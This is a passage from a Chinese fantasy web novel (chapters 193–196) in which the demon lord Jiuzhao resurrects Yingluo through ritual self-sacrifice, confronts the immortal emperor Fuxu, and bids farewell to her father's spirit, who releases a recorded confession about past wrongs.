此时此刻,他颤抖着声调,怒到极致,再顾不得风仪与雅态,只差冲到九昭面前,指着她的鼻子破口大骂:“收起你假惺惺的姿态,滚回魔族阵营吧!从头到尾,根本就是阿罗看错了人!” 安静听完一顿狂风暴雨似的臭骂,九昭的表情没有丝毫变化。 她待西神王力竭喘气,方不紧不慢开口:“孤有办法,复活瀛罗。” “我管你在放什么——” 拒绝思考、拒绝沟通,无意义的暴怒发泄到一半,西神王目眦欲裂的神色陡然僵住。 他下意识追问道:“……你说什么?” “业火为阴,凤火为阳,阴阳相和,便能招魂亡者。” 趁着对方震惊到失去言语的间隙,九昭将当日圣火坛内穹煌分/身所说的秘密言简意赅复述。 事关重大,她不做隐瞒。 告知瀛罗有望复生的同时,也将重塑肉身的力量取之于她,须得靠她存活的坏处言明。 愤怒自眼底渐次消退。 九昭每透露一句,西神王的嘴唇便多抿紧一分。 到最后,他死死咬紧牙关,一字一顿道: “你兼具两重力量在身,仙不是仙,魔又非魔——就算阿罗能活过来,他这样算什么?” “所以,天地间为何要有泾渭分明的仙魔之分?” 质问未停,九昭的音调骤然拔高,“莫说仙魔本为同源,均诞生自祖神穹煌的胞体——就算不提这点,来,流戈王,你告诉孤,还有什么是比你的孩子活生生站在你眼前,更加重要的? “难道你在乎的仙族荣耀、血脉正统……这些身外之物,竟重过瀛罗的性命?!” 当然不是! 西神王的内心想也不想发出嘶吼。 可话涌到嘴边,他却趔趄着撤退几步,高大身形佝偻下来,后倒在王座之上。 睁开眼,瀛罗的幽魂仿佛无时无刻不萦绕在九昭身侧。 闭上眼,那小小幼童拖着稚嫩鱼尾,在海底尽情遨游的身影,又无声浮出记忆。 阿罗是他最骄傲的孩子。 无论为女为男,都天赋异禀,才华横溢。 他在阿罗身上倾注了无数心血——而相较那些眼神总是带着算计和讨好的侧妃子女,他更在和阿罗的相处中,体会到了难能可贵的真挚亲情。 …… 什么仙族荣耀,什么仙魔之别。 在“活过来”这三个字面前,都显得那么苍白可笑。 …… 许久,久到仿佛时间都已停滞。 西神王缓慢聚焦目光。 他的眼中再无其他,只剩下沧桑、疲惫和孤注一掷的疯狂。 他死死盯着九昭,声音干涩,如同粗糙砂砾,相互厮磨: “九昭……若你编造这弥天大谎,只是为了利用我,瓦解三清天的抵抗…… “若瀛罗无法回来,或者回来的不是他……” 话断此处,他眼中骤然爆发出玉石俱焚的决绝,“我必自爆神魂,哪怕就此灰飞烟灭,永世不得超生,也定要拖着整个西海,与你、与焚业海……同归于尽!” 193| 第193章 ◎“瀛罗,欢迎你回来。”◎ 千年里, 为了抵挡魔族的进攻,徘徊在天仙之位已久的西神王选择冲击神阶。 所幸,积蓄的实力足够, 他成功得有惊无险。 且正式接任战神的位置, 代替成为神帝,责任更大的扶胥,统领三清天所有仙兵。 如同当年的扶胥那般,西神王因力挽狂澜的功勋, 在整个仙族中地位颇为崇高。 当九昭提出要去桃林召回瀛罗的魂魄时,他领她重返群仙林立的二清天,似入无人之境。 二人隐身前飞, 沿途路过数座九昭往昔无比熟悉的殿宇浮岛。 有的旧主尚在,有的却是改名换面,为另一部族群居。期间还有不少凭空冒出来的,规模更小的府邸, 众星拱月般环绕在大的宫殿附近, 让原本空旷无边的二清天显出几分局促。 对此, 西神王不尴不尬地解释: “一清天丢失了四分之三的领土,幸存的仙族无处可去, 只能来到这里。” 他们又路过位于中廷附近, 九昭在其间生活了三万余年的离恨天。 那里却是什么都不剩。 没有建筑,无人居住。 洁白的云丛悠悠荡过, 了无踪影。 循着九昭的目光, 西神王向那处看去。 他先是沉默, 而后说道:“你是仙族的罪臣, 后又归顺魔族, 自甘成为兰祁的尊后——帝座恐群情激奋, 于是驾临二清天,亲自将离恨天连同常曦殿一起毁去。” 兰祁叛变前住过的灵泉宫都能留下,赐予逃难来的仙族居住。 她这位前储君拥有的常曦殿,却需全部毁灭,不留一丝一毫痕迹。 看来,仙族的确憎她甚深。 九昭早在无日渊中便认清了这点。 镇守仙官每逢来巡查,对待关押其他的罪仙不过例行公事。 来到最底层她的面前时,却总要留下诸多侮辱言辞。 渗血的伤痕不断结痂,渐次成为厚厚一层防御。 九昭心底并无悲喜。 她收回视线,淡淡说道:“人死尚能复生,何况一境阙。” 闻言,西神王忍不住蹙眉。 弑君弑父的不可饶恕之罪在前,哪怕九昭即刻叛出焚业海,仙族也不可能再将她接纳。 更遑论重建离恨天。 想要做到这点,除非—— 论定仙族不祥命运的词汇,无声浮现脑海。 西神王握紧拳头,克制着起伏翻涌的心绪,继续噤声飞行。 …… 双脚踏上升鸾台的土地时,九昭睨了闷头在前的长者一眼,没有说话。 逐渐靠近瀛罗当年被长剑贯胸的地方,她胸有成竹的面容下,忐忑感无声加重几分。 当日圣火坛内,九昭可以确定穹煌分/身说的是,回到亡者死去的地方,唤回他们的魂魄。 可半个时辰前,她在瀛罗肉/身消散的寒玉床施法搜寻,却感应不到魂灵存在的痕迹。 若穹煌的分/身不曾扯谎,她思来想去,只能猜测瀛罗替她挡剑时,灵台内的元神便已被烈霄剑震碎,西神王他们接回去的,是仙力尚存,生机不断流逝的躯体。 为了稳住失子欲狂的西神王,更因着既然有复活瀛罗的方法,不能轻易放弃。 她装出搜寻完毕的模样,告诉西神王,自己感应到瀛罗的魂魄尚盘桓在桃林。 许是爱子有望归来的欣喜慑住了所有的念头,叫人无空再去思考旁事。 西神王闻听谎言,竟也不疑有他,甘愿冒着大不韪带她潜入二清天。 从见面说服对方,到实施心中计划,整个过程顺利得不可思议。 在三千年前瀛罗中剑的地点站定,西神王即刻抬手,用神术构建起阻止力量外溢的结界。 “该做的我都已经做了。 “你最好动作快些,以免打草惊蛇。” 他漠声交代完毕,见九昭再度瞳眸赤红生光,凝神探知起四方。 片刻后,一抹水蓝身影出现在她意识笼罩的范围内。 感应到九昭的召唤,那人款款从桃林后方飘了出来—— 悬浮在半空,衣衫下方无腿,取而代之的是一条流光溢彩的鱼尾。 九昭的“视线”逐寸向上,掠过修长的颈项,光洁的下颌,挺括的鼻梁,直至对上一双眼。 那双眼白翳覆盖,见到她直愣愣的,透着失魂落魄的茫然。 “瀛罗?” 九昭用心音试探着唤他。 青年白翳之下的眼珠吃力转动,呢喃道:“瀛、瀛罗……谁是瀛罗……噢……好像是我……” 九昭继续问道:“你为何要留在桃林?” “为何,要留在桃林…… “我应该、在等一个人。” “你还能想起等的人是谁吗?” “九、九……” 瀛罗的魂魄重复着“九”这个数字,一遍又一遍。 却怎么也说不出口一个完整的名字。 记忆丧失至此,恐怕再晚来几年,他就会真正身消魂灭于天地。 九昭混合着担忧与庆幸,轻轻呼出口气:“九昭,你在等九昭,对不对?” “是啊……是九昭……我在、我在等九昭。” 瀛罗的魂魄眼中一亮,混沌的意志仿佛微微转醒。 九昭朝他探出手:“你在等我,所以我来了,让我接你回去。” 仙力不复,唯余魂魄。 又有白翳障目,瀛罗此刻的状态与凡人之中的瞎子无异。 他看不见来人的模样,也快忘却自己。 可耳畔滑入“九昭”的名字,和对方来接他回去的言语,他仍旧满腹信任地伸出手去。 双手交握的刹那,化为孤魂,身受天风涤掠三千年的青年,终于体会到了一丝真实的温度。 破碎的记忆归拢,白翳如窥见天光的浓雾般隐匿消散。 九昭抓紧时机朝他以内输入自己的本源之力,借此稳固他的神魂,顺便将他定在原地。 这才转头对等候半晌的西神王说道: “瀛罗的魂魄已归位,待我为他重塑肉身,你们父子俩便能相见。” 她顿了顿,想起经由琼煌分/身描述的割肉、放血、取骨,种种血腥之景,又补充道,“接下来的场面,怕是不大好看,西神王若不想受到惊吓,可以暂时回避。” “本王为仙族最前防线,与魔族交战千年,什么不堪的场面没见过。 “业尊不必小瞧我。” 西神王退后一丈,留出足以九昭发挥的场地,在隐去外景的结界边缘冷冷说道。 九昭没再多说什么。 她并指为刃,面无表情朝腹部捅了进去。 流淌的鲜血迅速浸透覆身的斗篷。 九昭本就苍白的面容,失去最后一丝血色。 她如吝啬的财主般,将濡湿布料的血液尽数榨取出来,汇聚面前,化作拳头大小的球形。 西神王唇角一搐。 “你在干什么”的惊询即将冲口而出,为避免打扰塑身仪式,又被他强行咽了下去。 弹指,更恐怖的景象灼烧着他的眼球。 九昭咬紧牙关,操纵着凤火凝成的薄刃,毫不留情地割下自己身上的一大片肉。 再然后,左手整个没入腹腔,随着咔嚓一声轻响,折断的肋骨被包裹在剧烈颤动的掌心—— “你、你——” 光是肉眼瞧着,西神王就能感觉到腹部传来感同身受的痛楚。 复活一个人需要这么大的代价吗? 试问世间,又有几人能为没有血缘,并非夫妻的他者做到这般地步—— 西神王的面孔抖索着,无论如何也说不出话。 他如同石化的雕像般立在原地,悚然望着九昭化骨为壳,取肉铸躯,再将融合血液的阴阳之火注入青年的魂魄——不多时,两者徐徐靠近,神魂融入躯壳,浑身赤/裸的青年在烈火中睁开双眼。 “殿下……” 他低低唤了九昭一声。 余光不经意瞥见站在远处,泪目动容的西神王,“父王……?” 他懵懂地一眨眼睛:“难道,我还在梦里——” “并非是梦。 “瀛罗,欢迎你回来。 “也谢谢你能独自支撑到现在,等着我救你回来。” 九昭笑了起来。 唇角的弧度牵动她部分正在新生的伤口,带来一阵剧痛。 而她神容的变化,立刻引起了目不转睛的瀛罗的注意,“殿下,您——” 话未说完,九昭朝他额间一点,他的身体软软倒了下去。 九昭展臂将陷入昏迷的青年抱住,带到西神王眼前: “放心,他无事,只是肉/身堪堪铸成,还很虚弱,说话清醒皆耗费精力。” 说着,她溅有血渍的羸弱脸庞,再度呈现说不清的嘲讽,“况且,孤也明白,西神王不愿孤再与瀛罗交谈,动摇他的心志是不是?” “本王替犬子谢业尊救命之恩。” 西神王没有否认,“本王私心,也谢过业尊的深明大义。” 他从储物戒中掏出一块品质温润的寒玉吊坠,将瀛罗身形缩小,渡入其中。 深谢过一切,他注视着九昭。 张了张嘴,欲言又止。 最后,像是终于下定决心。 他抬手,将隔绝外界的屏障化去。 桃林之外,前后左右,在地于天,密密麻麻的仙兵严阵以待。 九昭视线尽头的最中心,头戴天冠,身披甲胄的扶胥,正垂眸以指拂拭青锋。 感应到魔气四溢,他缓慢抬起头来。 漆黑眸色似剑锋寒意凛冽。 194| 第194章 ◎“今日我并非为覆灭仙族而来。”◎ 面对三清天埋伏在屏障外的天罗地网, 九昭不见半分惊惶。 她转动视线,徐徐扫过漫天屏气凝神的仙神—— 其中,不少面孔是她熟悉的, 能够叫出名字。 更多的, 则踪迹俱无,不知是陨落在神魔交战之中,还是因故今日未曾到来。 扶胥、南神王琼英、她曾经的“统领仙官”朱曜、夜神夕寰、司罚之神嶷山…… 这些人过去是她的伴侣、密友、长辈、熟识,此刻却拥有了同一个身份。 仇敌。 张张相貌各异的面孔上, 厌憎、忌惮、仇视之情交织。 九昭将其一一收入眼底,目光不经意触及扶胥身后近处时,陡然瞧见个颀长的身影。 竟是孟楚。 他身披银胄, 单手持剑,肤色黑了些,一道剑疤斜贯在右唇角。 与九昭记忆里那个草包世子大相径庭,瞧之满是肃杀气息。 神帝目及之侧, 唯有位高权重, 抑或深受信赖的臣子方可站立。 孟楚得以占据一席, 足见他这些年的确做到了洗心革面。 九昭没有特意同他打招呼,只极轻地笑了一声。 似是自言自语, 又足以让周遭几位耳尖的仙族听清:“混得不错嘛。” 她说不清是夸赞还是嘲讽的语气, 让几位脾气鲁直的仙族神情越发难看。 碍于扶胥的帝威压制,这才没有叫骂出声。 而作为当事者, 孟楚顶着九昭长久停驻的眸光, 却并未抬头对视。 他握在手中的剑紧了紧, 相较身旁仙袍的同仇敌忾, 面色是全然相反的审度和平静。 对方装死, 不给反应, 九昭顿觉无趣。 她的脚步离开地面,缓缓浮空,余光最后投向站在原地,垂头不语的西神王: “难怪孤提出要潜入二清天,你毫无反应,原是有如此隆重的‘迎接仪式’候在这里。 “不过,也无妨,至少我欠着的东西,都已还清。” 如此慢条斯理的口吻。 如此悠闲从容的姿态。 仿佛置身于自家后院赏景调侃,而非陷入重重的杀阵中心。 无需豪言壮语,九昭的一呼一吸皆在挑衅所有仙族的理智。 终于,夕寰按捺不住,未等扶胥发号施令,手中长剑直指向她,厉声呵斥: “魔尊!既已无路可逃,你还不束手就擒!” 仙族修炼缓慢,举步维艰,需历经万千劫难方能窥得神境一角。 而魔族不同,业火噬魂,虽需承受无止境的侵蚀之苦,却能更直接地攫取毁天灭地的力量。 时值当下,那噬魂的业火在九昭的血脉中放肆奔涌,连同不久前受到受到重创的腹部,交汇成一种裂骨吸髓般的痛苦,四肢百骸的经脉悉数迸起,青紫颜色,为九昭艳丽的面容平添几分魔魅之气。 她瞳孔的红芒不熄,如同被疼痛催化,益发狂热暴涨的战意。 “扶胥。” 她上飞至与青年平视的高度,声调清越,笑靥如花,“你且说说,孤该束手就擒吗?” 青绿神力凝成的半透明防御阵,横亘在仙兵和九昭之间,以防后者骤然暴起发难。 被直呼名讳的青年收敛凛冽,眉宇澹寂: “仙族自有待客之道。业尊既独身前来,总该留下饮一杯酒才是。” “三千年了。” 九昭感慨道,“登上神帝宝座的你,也学会了虚伪那套。” 嗤笑过后,她话音倏而转冷,“饮酒是好,只可惜——孤从不与败者对酌!” “放肆!” 夕寰怒极,“你身受重伤,尚未复原,也敢如此狂妄?!” 九昭不再多言。 她脚踏云海,足尖一点,浩瀚魔息随即包裹全身,化作一道撕裂苍穹的流星,直向扶胥射去! 她的储君尊位早被褫夺,昔日的荣光与权柄尽数封印。 连那柄随她征战八方、令诸神战栗的打神鞭也早已沉寂于禁印之下—— 这三千年,她手无寸铁,孑然独立。 而今亦是如此。 赤手空拳,对上扶胥手中那柄扫荡寰宇、青光湛湛的利剑。 电光火石之间,魔息与神法悍然对撞! 轰——!! 排山倒海般的冲击波以两人为中心,向四方蜿蜒炸裂,扶胥提前设下的防御法阵不过稍作抵挡,巨力席卷之处,修为稍浅的仙兵瞬息被掀飞出去,整个三清天仿佛在这一击之下呻/吟颤抖。 其他将领见状,立刻欲结阵围攻。 九昭却再度嘲讽勾起唇角。 广袖下的双臂一展,滔天业火自她体内奔涌而出。 它们似有生命,收尾相连,化作一道接天连地的阴寒火墙,将她和扶胥与外界彻底隔绝。 火舌狂舞,其间黑莲的幻象摇曳起伏,散发出焚尽万物的可怕气息,几个冲得太前的仙兵甫一沾染,护体之力便如纸片般破碎——他们惨叫着被点燃,顷刻间化为飞灰! 余下众人俱惊骇后退,只能眼睁睁看着火墙之内,两道身影以肉眼无法捕捉的速度,疯狂交错碰撞,神光魔息时而熄灭,时而盛放,本应发出响彻云霄的轰鸣,却再也听不到半分声息。 “你究竟为何而来?” 扶胥的问询,在激烈的缠斗中依然显得平静。 九昭旋身躲开一记剑意凝结的罡风,反手并指拍向他:“如你所见,孤复活了瀛罗。” 剑掌释放的法光再度对轰,扶胥蹙起眉峰:“只为他一人,值得你孤身闯入三清天?” “自然不止为他。” 不容分神的时刻,九昭不知为何,倏忽想起千年前青年亲自传授体术的场景。 她可以确信,在真血之力合二为一,且有业火加持的情况下,世间无人可与自己匹敌。 当前的你来我往,互有角力,扶胥仰仗的,是对于她的熟悉。 浅淡的怀念在心头一闪而过,她赤眸灼灼,攻势更加狠厉: “扶胥,回答孤!当年,你真的相信是孤杀害了父神吗!” 青年陷入喑然。 神剑横转,划破九昭袭向他的魔息。 就是这一瞬,他抓住九昭失误的错隙,剑气如虹,直刺她伤势未愈的腹部。 却在马上触及豁开的血肉时迟疑半息,随即被凝实的护体魔息抵挡,两厢爆开一簇刺目火星。 有的时候,沉默是一种拒绝。 有的时候,沉默反而是一个答案。 敏锐捕捉到他的剑下留情,九昭眸色微暗,继续开口:“扶胥,你若对我还有几分信任,便引我去父神的寝宫。今日我并非为覆灭仙族而来——当年弑父的真相,或许也能一并揭开。” 扶胥依旧未答,手中招式却微不可察地一变。 少了几分杀伐,多了几分守势与引导。 两人且战且行,看似激烈无比,实则缓慢地朝着三清天至高之处转移而去。 外围的仙族们看得心急如焚,却一时半刻突破不了那可怕的业火屏障,只能紧随移动。 …… 终于,越过往昔群神集议,辉煌鼎立的紫微宫,九昭的视野映进神帝寝宫的巍峨轮廓。 只差最后一步,便能召来父神的魂魄。 念头在脑海骤起的刹那,九昭眸底赤光一闪——她刻意卖了个破绽,硬承扶胥一道并不致命的剑气,肩膀血色飞溅的同时,她却借力猛然加速,如鬼魅般无声贴近扶胥。 铮!! 随着用尽全力的一掌拍在剑身之上,青年躯体巨震,竟被打得倒飞,身周岔气逸散的神光撞破寝宫外层层守护的神术屏障,也撞开了那两扇厚重华丽的殿门,魔气和罡风呼啸着涌入其中。 “帝座!” 此起彼伏的惊叫声响起。 复而被变化形态,堵住门口的业火隔绝在外。 九昭无视仙族悲怒交加的神容,追随着扶胥向后疾退的身形掠入殿内。 寝宫空旷、静谧、陈旧。 纵使被清扫得一尘不染,仍然弥漫着长久无人居住的冷清。 扶胥跌倒在地,呕出一口鲜血,堪堪撑起身体,阴阳二火化作的锁链便沿脚踝而上—— 分为五股,扣住他的腰杆和四肢,将他托浮起来,与寝床畔的墙壁牢牢缚紧。 扶胥并未挣扎,反而抬眸看她,眼神复杂难辨。 而见此情形,以为下一步九昭就要大开杀戒,业火外悲愤到极点的上神们,面容显出几分决绝。 九昭是知晓兰祁急于收回真血之力的原因的。 唯有完整且最高阶的涅槃凤火,方能将元神自爆的毁灭之力吞噬。 察觉他们之中几人似有此打算,九昭掩去唇角笑意,寒声警告道: “若不想孤再‘弑君’一次,尔等便收起脑中念头,老老实实待着!” 195| 第195章 ◎“我欲止战。”◎ 元神自爆带来的伤害, 是无差别且下场惨重的。 但凡一丝希望尚存,就不会有上神甘愿踏上绝路。 九昭“若不想孤再次弑君”的言语虽是警告,却也明确透露出一个信息: 眼下她尚无杀死扶胥的打算。 扶胥亦紧随其后开口, 语调沉着:“先不要轻举妄动。” 火焰缠身, 身陷囹圄,他面容间的淡然却未曾更改分毫。 无论如何,都不似束手就擒、即将赴死的败者。 闻言,以夕寰为首的上神们眼中决绝之意稍褪。 透过屏障, 九昭饶有趣味地观察着他们表情的变化。 确定扶胥的命令有用,她才抱起手臂走向他,以唯有彼此可闻的气声低语:“其实, 就算是你,孤也可以凭借业火阻拦在外……不过,孤明白,你始终是孤记忆里的那个扶胥, 值得托付信任。” 九昭话里的欣慰, 令扶胥复又抿紧薄唇。 他不知该如何回应。 所幸, 九昭也并不需要他的回应。 她回到床前,阖上双眼, 依照成功复活瀛罗的经验, 将全部意识投入到神帝魂魄的搜索中去。 以至于错过了几息后,青年散落在法术声中的呢喃自语: “若真的相信, 那时……为什么没有等我回来?” …… 放弃视觉所感知的世界, 远比用肉眼所见更为广袤复杂。 九昭的意识围绕寝宫逡巡一圈, 终于在悬挂有神后画像的墙壁前, 寻得了神帝的残魂。 若说瀛罗的魂魄, 与拥有实体的常人相比, 仅仅有着双脚离地,眼覆白翳的区别。 那么,神帝则显得虚弱许多。 他悬浮于空,腰部以下已然消散,残存的部分亦呈半透明状,仿佛风一吹便会彻底湮灭。 能在天道雷罚下未至魂飞魄散,反而留下一缕痕迹,已比九昭预想中好上许多。 她静默良久,见他凝滞不动,只痴痴抬首仰望画中之人,心中百感交集。 无论仙、魔、人,身死则意味着与世间的连结断裂。 直至彻底消散之前,他们的魂魄皆困于一隅,不断重复与最深执念相关的举动。 死后的世界无需伪装,亦无须上演弱水三千只取一瓢的戏码。 褪去言语的矫饰与传闻的夸大,从神帝这简单无声的姿态中,九昭反而窥见了几分真心。 “父神。” 她虽不舍,还是出声打破了这场自我编织的美梦。 神帝的残魂陷入长时间的愣怔。 良久,方缓缓转过面孔。 那双清明眼眸竟未附着蒙蔽记忆的白翳。 如凝视画像那般,神帝久久注视着九昭,倏忽间一丝痛惜浮上眼底: “昭儿,你为何会来到这里?” 知他心生误会,九昭连忙解释:“女儿未死,此举只为接您回去。” “回去,回去哪里?” “回归现世,重临三清天,再继神帝之位。” 时间紧迫,九昭言简意赅地将仙魔二族现状道来,自己所经历的种种苦难则绝口不提。 神帝又是一阵漫长的无言。 最后垂落眼帘,喜怒不明地问道:“若要我复生,昭儿,你需付出何等代价?” 九昭庆幸,肉/身的伤势不会反映在意识之上。 而今,她的力量也足够强大,不会被神帝识破仙魔共体之秘。 先叫父神愿意活过来,比什么都重要。 她刻意将剜肉取骨的血腥场景隐去,模仿着昔时轻快无忧的笑容,放软声音哄骗道:“您别多想,女儿既已成功复活瀛罗,自然也能复活您——您看,女儿不是完好无损地站在您面前吗?” 神帝眸光微动,在她身上寻不到破绽,终是未再言语。 九昭又温声催促时机紧迫,请他伸手与自己相握。 魂魄虽清醒,终究较生前少了几分机敏心性。在一迭声轻言软语的劝慰下,神帝缓缓伸出手来。 九昭大喜,探指同他紧紧交握。 只差最后一步,注入本源力量,稳固神魂,便能开启重塑肉身的下一步骤。 为了以防万一,她忖度起是否该在伤害自身时,施术封闭神帝五感,—— 一股无法抵抗的巨力,却突然将她的意志吸了进去。 …… 待神魂再度醒转,九昭发觉自己正处于一片识海。 举目望不到头的漆黑,那些象征记忆的神识浮尘荡然无存,如夜空失去浩瀚星海。 九昭本能厌恶这种无天无地、无知无感的状态。 她四下寻觅着神帝的踪迹。 在游荡一阵后,终于听见了呼唤的声音:“昭儿,你来。” 九昭加快速度,朝声源飞去,直至撞入这片孤寂的黑暗里,唯一发光的存在—— 一颗圆硕的,较神识浮尘大出十倍、百倍的星辰。 无边光湖自九昭的脚下流泻铺开,踏虚而立,从极黑到极明的冲击,叫她下意识闭目。 眼皮一阵刺痛,温热的液体在眼角迅速堆积。 九昭睫羽一颤,泪水陡然坠了下来。 模糊的视野尽处,有白影负手,衣冠胜雪。 那是她的父神—— 魂魄凝就,衣袂翩然,眉目英朗如初,仿佛从未经历天谴覆灭之劫。 他转过身,朝她微微一笑,笑意与脑海记忆别无二致,慈爱而宽宁。 可说出的话,却令九昭心脏骤沉。 “昭儿,能再见到你,为父真的很高兴。” 他微微启唇,语声温和,“但回去吧,我不愿再活过来了。” “为何?” 九昭急步上前,意欲拉住他的衣袖。 “三清天需要您,维系三界和平需要您,他们要的从来不是——” 她的话未尽,被神帝抬手止住。 他的眸光于她面容停留,带着极淡的不舍: “我的魂魄本应在雷罚之下彻底溃散,强撑着最后一丝执念停留在此,并非因为贪生,是想亲眼确定我的女儿,在离开父母比附之后,是否依旧能够平安、勇敢地走下去。” 说着,他话音渐扬,隐有欣慰,“如今,见你饱受风霜,却意志不折,神容沉毅,为父便知道,你已然长大了,能够撑起一方天地,而非需要谁来将你护入羽翼。 “为父的遗愿已了,也该早些去和你的母亲团聚。” 意志不折,神容沉毅。 神帝的嘉许如同细针刺入九昭心口,令她几乎撑不起虚假的笑。 既然他不愿复生,此面便是永诀。 难道最后一面,她仍要以谎言相欺吗? 九昭沉默片刻,终是道出深埋心底的惶惑:“父神,女儿虽活着,却已非上界仙神……当年我本想利用禁术以命相换,却不慎引发天谴害死了您,我心如死灰,所以在众仙面前承认弑父罪行。 “被囚入无日渊三千年后,魔族壮大,三清天节节败退,他们侵入万雷山将我释放,带回兰祁身边,企图通过成婚结契,令两半凤凰真血合二为一,铸成毁天灭地的伟力。 “兰祁念及旧情,想留女儿一命,而我的仙族身份总令他们有所顾虑。 “于是,我自愿投入圣火坛,经受业火的淬炼洗礼。在转变为魔族的过程中,意外同时掌握了凤火和业火——传说中这阴阳二火结合,能够令人死而复生。 “女儿对世间没什么留恋,只想复活因我而死的您和瀛罗。 “我为这个愿望,杀死兰祁,成为新的魔主,如今更是三清天誓要诛灭的仇敌—— “今时今日寝宫内的重逢,盖因女儿挟持了扶胥,仙族一时奈何不得,方能成功。 “父神,女儿不想欺骗您……女儿活成这副模样,是否令您失望至极?” 一语道尽,如卸千钧。 九昭垂首,等待神帝宣判,心中却反得一片前所未有的宁静。 没有忐忑太久,一只温暖大手抚上她的发顶:“昭儿,抬起头。” 神帝的话似有魔力,九昭不由自主扬起面孔。 与巫逐相融,所有的喜怒哀乐尽归于体。 对待旁人,她尚能克制。 迎着神帝的目光,情感如海潮般喷涌。 她被那双无比包容的眼睛凝望着,其中不见丝毫厌弃,反而充满深沉的怜惜: “为父失望与否,同你是仙是魔何干? “无论何种身份,只要你能够坚守住自我,坚守住内心的最后一片纯善。 “为父便会为你自豪。” 耐心平复完九昭的不安,神帝又轻声道,“你我父女之间,若谈及失望,恐怕为父该担忧的,是昭儿会不会对为父失望……天道浩渺,即便损耗寿数推衍天机,未来仍有无穷变数,非人力所能及。” 他喟然长叹:“是为父……一直在强求,强求一条正确的道路,强求一个完美的结局。 “若最初,我能允你顺从本心而活,而非强加以神族重担…… “或许……你我父女,乃至仙魔两族,都不会落得今日之局。” 九昭不由心头震荡。 望着父亲首次卸下全部威仪,只剩一片诚恳的眉宇,她深深呼出口气: “父神,我欲止战,并非以三清天吞并焚业海,或焚业海倾覆三清天的方式……女儿愿寻一条前所未有的路,令仙魔重归一体,再无干戈。” 神帝不由道:“当真?” 九昭毅然颔首:“绝无虚言。 “体验过三清天的繁华似锦,也见证过焚业海的寥落流离,女儿想,我们曾是一母同胞,为何要相互迫害——魔族屡屡进犯,一则心中不平三清天常年占据丰沃之地,二则他们生存的领土深受业火侵袭,生计维艰,若能解决这两点,叫焚业海的子民也能安居乐业,世间便不会再起战事。” 神帝凝神倾听,面容慰藉之色渐浓。 九昭话音堪止,他道:“你且等等。” 只见他眸光忽定,几息后一枚小小的、由法术凝结而成的录影球在掌心浮现。 神帝将其递给九昭,说道:“仙魔皆能安居乐业为一,第二你要解决某些部族的心中之怨——凤凰族,实力强大,且为你的母族,他们万年前跟随巫劭造反,更多是被逼无奈。 “这录影球里有为父对当年真相的说明,你将其公开,或许能够争取到凤凰族的谅解。” “父神?” 九昭有些不确定。 若公开真相,公开对于凤凰族的谋算。 无异于自揭污点,恐损父神一世圣名。 神帝却释然一笑:“无妨,如此来日化为天地间的一抹清气,与你母神和巫劭相见时—— “为父也算问心无愧。” 196| 第196章 ◎“魔就是魔,本就该死!”◎ 言已至此, 神帝的身影如同残魂状态时那般,逐渐变得虚无透明。 望着他平静而决然的眼神,九昭知晓, 此事再无转圜之地。 这一次, 不再有残酷的天谴雷罚撕扯神魂。 也无人再需为错误的迭命术,而承受锥心刺骨的悔恨。 他们之间临了的对话完毕,所有的真相、遗憾与嘱托,皆封存在那神光荧荧的录影球中。 九昭确认过其中的内容—— 除凤凰族受到算计, 被迫叛天的秘密之外,神帝更亲口将她并未弑父的前因后果说清。 这是他能为女儿做的最后一件事。 九昭闭了闭眼,再度上前展开双臂, 抱住身躯已近乎虚无的神帝。 没有实体的触感,她收紧手臂,方感觉到一股极浅极淡的暖意。 神帝慈和地垂首于她臂弯,在静默的温情里, 自上而下, 散作点点光尘。 “以后, 人生的道路漫漫,只能靠你独自走下去了。” …… 随着他的彻底消失, 整片神识构成的世界开始剧烈波动。 湖面流淌着的走马灯画面戛然而止, 头顶的天空,脚下的土地, 如同破碎的镜片, 寸寸坍圮。 全然的漆黑将九昭笼罩。 难以适应的茫然过后, 她的脑海浮现无尽的伤感。 再也不会有人, 用忍爱的视线看着她, 口中一遍又一遍唤着“为父的好阿昭了”。 从这一刻起, 她才是真正的亲缘断绝。 九昭抹过自己的眼眶,揩去不由自主溢出的热泪。 她尚有该做的事情要做,不应过度沉溺于软弱的情绪当中。 力量已不再受到桎梏,只要释放魔息,便能打破黑暗,重返现世。 正当她准备抽离,黑暗里,一道意料之外的女声悠悠响起: “你方才对嗣辰所说的一切,都发自真心?” 这声音—— 九昭瞳孔微动。 她在圣火坛内听到过。 是祖神穹煌的另一半分/身! 她怎会来此? 她散开神识朝声源去飞速探去,只感应到一片未知的混沌。 思来想去,这缕分/身之所以能如影随形,大约是寄居在她体内的业火当中。 那岂非,这段时日自己的所作所为,皆有她在侧旁听? 一股被窥视的不悦感笼罩心头,九昭语调微冷:“对着自己的父神陈情,有何说谎的必要?” 那混沌中的存在似乎笑了下,拖着嗓音说道:“你还真是个急性子——对着老祖宗也不知恭敬。” 九昭并不接话。 穹煌突如其来的出现,冲淡了悲伤的心绪。 她悬浮在虚空中,警惕监视四周,没再急着回去。 穹煌也不期待她的告罪,继续用无谓的态度道:“罢了,你这么个不知天高地的个性,哪怕嘴上恭敬,心底也不会真正臣服——你说要令仙魔两族恢复和平,你可知,恢复和平需要付出什么代价?” 代价? 听起来,她仿佛掌握着一套有效方法。 念头不动声色转过一圈,九昭犹豫着是否要开口问询,那头穹煌起了谈兴,接着自说自话:“仙魔二族纷争日久,怨气已深植焚业海,若想平息干戈,非大决心、大牺牲不可为。” 提及“大决心、大牺牲”,她散漫的态度淡了下去,换成副严肃口吻,“首要之举,须得有一人站出来,深入焚业海的怨气核心,以身为器,将其吸收殆尽。 “怨气至污至秽,绵延不绝,吸纳者自身力量必须足够强大,能与之对抗,承受其反噬。 “另则,更需……有以身殉道的觉悟。 “将怨气引入自身,再与之同归于尽,方能永绝后患,还焚业海和三清天一片清宁。 “而放眼当世,仙魔之中,身怀这般能力者——” 穹煌的声音刻意在此停顿,又意味深长说道,“唯你一人而已,九昭。” 舍弃外物,以此获利。 自是许多人都能做到。 可舍出命去,且无法得到任何回报,又有几人愿意。 穹煌毫不意外地等来了九昭的沉默。 她想,能做到放血、割肉、取骨来复活一个毫无血缘的外人,也算难得。 无论神姬还是业尊,她的地位足够崇高。 纵使放弃修和的打算,到被业火蚀身而死之前,亦能过得顺心畅意。 穹煌思忖了数种结果,却陡然听见九昭问出一个全不相干的问题: “若我逝去,可有办法令瀛罗长久地活着?” “……” 穹煌恨铁不成钢地念叨着,“你便那么想死吗?你可知道以你如今身负阴阳二火之力,再加上嗣辰注入体内的半副修为,寰宇之内,再无敌手!若要仙魔两族修好,大可凭借绝对武力压制,令他们臣服在你脚下,至此,天地之间,无人能够约束你半分,你大可尽情逍遥——难道这样不快活吗?” 